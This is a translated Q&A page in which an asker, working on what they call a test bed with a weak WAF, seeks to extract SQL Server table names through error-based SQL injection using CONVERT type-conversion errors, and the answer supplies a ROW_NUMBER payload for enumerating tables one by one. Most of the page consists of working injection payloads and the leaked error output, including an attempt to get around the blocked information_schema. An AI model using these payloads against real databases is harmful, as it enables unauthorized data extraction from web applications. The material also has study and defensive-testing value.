MSSQL注入

时间:2014-02-16 14:06:32

标签: sql sql-server code-injection

我只是设置了一个测试床,我禁止了information_schema被访问(弱waf),并且我一直在尝试通过使用convert从包含的信息中吐出转换错误来从数据库中提取表列表。 要提取版本,我们使用以下语法: +和+ 1 =转换(INT,@@版本) 结果将是:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

查询的结果是单引号内的内容。 现在我们要从数据库中获取第一个表,我们将使用:

convert(int,(select+top+1+table_name+from+information_schema.tables))

哪会导致错误:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'tblDepartement' to data type int.

index.asp, line 30

同样答案在两个单引号内,即tblDepartement。 提取表名的另一种方法是使用以下2个查询:

(A):SELECT name FROM sys.tables

(B):select * from sys.tables。 如果我用这种语法尝试(A):

convert(int,(select name FROM sys.tables))

我收到错误:

Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'from'. 

如果我尝试使用这种语法(B): convert(int,(select * FROM sys.tables)) 我收到错误:

Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near '*'. 

所以我的问题是,我怎么能不使用information_schema并在转换语法中使用sys.tables所以我可以从数据库中获取表列表? 感谢。

1 个答案:

答案 0 :(得分:0)

CONVERT function需要expression,如果子查询必须是标量:

{ constant | scalar_function | [ table_name. ] column | variable  
    | ( expression ) | ( scalar_subquery ) 
    | { unary_operator } expression 
    | expression { binary_operator } expression  
    | ranking_windowed_function | aggregate_windowed_function
}

此外:

  

scalar_subquery

     

是一个返回一个值的子查询。例如:

SELECT MAX(UnitPrice)
FROM Products

因此,您的subquery in place of an expression必须只返回一个值,因此既不是多列也不是多行。

对于您的两个查询(A)和(B),由于TABLES table有多列且多行,因此不符合此限制。

要枚举所有表名,您只需要分别请求每个表名:

CONVERT(INT, (
  SELECT TOP 1 table_name
  FROM (
      SELECT table_name, ROW_NUMBER() OVER (ORDER BY table_name) AS row_num
      FROM information_schema.tables
  ) t
  WHERE row_num > 123
))

不幸的是,Transact-SQL需要ROW_NUMBER()来进行偏移选择。